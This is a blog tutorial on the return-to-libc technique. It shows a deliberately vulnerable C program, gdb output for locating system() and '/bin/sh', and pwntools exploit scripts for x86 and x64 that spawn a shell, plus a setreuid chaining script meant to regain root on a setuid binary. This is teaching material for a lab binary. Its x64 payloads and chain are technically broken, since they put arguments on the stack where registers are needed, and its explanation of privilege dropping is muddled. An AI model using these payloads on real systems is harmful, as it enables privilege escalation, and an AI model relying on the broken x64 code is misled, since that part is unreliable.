본문 바로가기

Security/System Hacking

[System Hacking] 3. Return To Library(RTL)

Return To Library

This time, i gonna introduce about RTL attack techniques(Return To Library).


This technique is usually used to bypass memory mitigation, NX(Non eXecutable). When NX is enabled, there isn't 'eXecutable' permission so even shellcode that executes /bin/sh is in stack, it won't be executed.

Then, what is RTL? RTL is a technique that overwriting RET with library function address like system(). When RET is executed, system() will be also executed.That's main purpose of RTL. Of course, we need to input some arguments for system (ex) /bin/sh).

Then, approximate payload is...

1
2
3
---------------------------------------------
AAAAAAAA... | ret(system()) | BBBB | &/bin/sh
---------------------------------------------
cs

Overwriting system() address to RET, and address of /bin/sh to ebp+8 because function takes its arguments from ebp+8.

Then, it would be system(&/bin/sh). After run that function. eip would go to ebp + 4. Details about this would be explained on calling convention part.


Here is the vulnerable code.

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <string.h>
 
#define size 32
 
int main() {
    char buf[size= {0, };
    
    read(0, buf, size * 2);
    printf("What u say ... %s\n", buf);
    return 1;
}
cs

At line 7, there is stack overflow bug which getting 32 * 2 length's data even 'buf' size is 32. So we can overwrite RET over 'buf' area.


Let's see how RTL works.

First, we need to find system() address and where /bin/sh string is. If there are more mitigations, it would be more harder to exploit. leaking libc address, getting offset of two functions... Anyway, this time, there are no aslr, pie! It means library and stack address is fixed! Also u can easily find useful information with gdb-peda. Like below.

1
2
3
4
5
6
gdb-peda$ p system
$1 = {<text variable, no debug info>0x555da020 <system>
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x556fe60f ("/bin/sh")
cs

Or u can find /bin/sh string on memory with following code. Because there is /bin/sh string near system() address in the libc. But not working with x64 address.

1
2
3
4
5
6
7
8
#include <stdio.h>
 
int main(){    
    long shell = 0x555da020;
 
    while(memcmp((void *)shell, "/bin/sh"8)) shell++;
    printf("/bin/sh Address : %#x\n", shell);
}
cs


Here is final exploit codes.

- x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= process('./rtl1-x86')
 
binsh = 0x556fe60f
system = 0x555da020
 
payload = "A"*40
payload += p32(system)
payload += "BBBB"
payload += p32(binsh) # system(binsh)
 
f.send(payload)
 
f.interactive()
cs

- x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= process('./rtl1-x64')
 
binsh = 0x2aaaaae5bfc0
system = 0x2aaaaad176d0
 
payload = "AAAAAAAA"*5
payload += p64(system)
payload += "BBBBBBBB"
payload += p64(binsh) # system(binsh)
 
f.send(payload)
 
f.interactive()
cs


And successfully got shell!

-x86

1
2
3
4
5
6
7
zero@ubuntu:~/Desktop/pwn/RTL$ python rtl1-x86.py
[+] Starting local process './rtl1-x86': Done
[*] Switching to interactive mode
What u say ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \xa0]UBBBB\x0f�oU\��\xff
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),132(sambashare)
 
cs

We got the shell. But there is one more problem. Let's assume 'rtl1-x64, rtl1-x86' are binaries which have S permission at user 'root' and finally get shell. But u can't see a privilege what u are looking for. Because of the library.

After libc version 2.x, system() will be executed with lower permission, not user's. Which means, we need to set uid again with setreuid(). Which also means, that function could be in our payload too.


How could it be?
So there is an another concept called 'RTL chaining'. 'RTL Chaining' let us execute functions on and on. By using pop-...-ret gadget, arguments will be popped(pop, ...) and function will be executed(ret). Details about that will be introduced at ROP. Approximate flow seems like below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
= process('./rtl1-x64')
 
ppr = 0x4005e1
exit = 0x7ffff7a4b320
binsh = 0x7ffff7b9afc0
system = 0x7ffff7a566d0
setreuid = 0x7ffff7b0ea60
 
payload  = "AAAAAAAA" * 9
payload += p64(setreuid)
payload += p64(ppr)
payload += p64(0)
payload += p64(0)     # setreuid(0, 0)
payload += p64(system)
payload += p64(exit)
payload += p64(binsh) # system('/bin/sh')
 
f.sendline(payload)
 
f.interactive()
cs

pop ... pop .. gadgets will pop 0, 0 and ret makes system() be executing.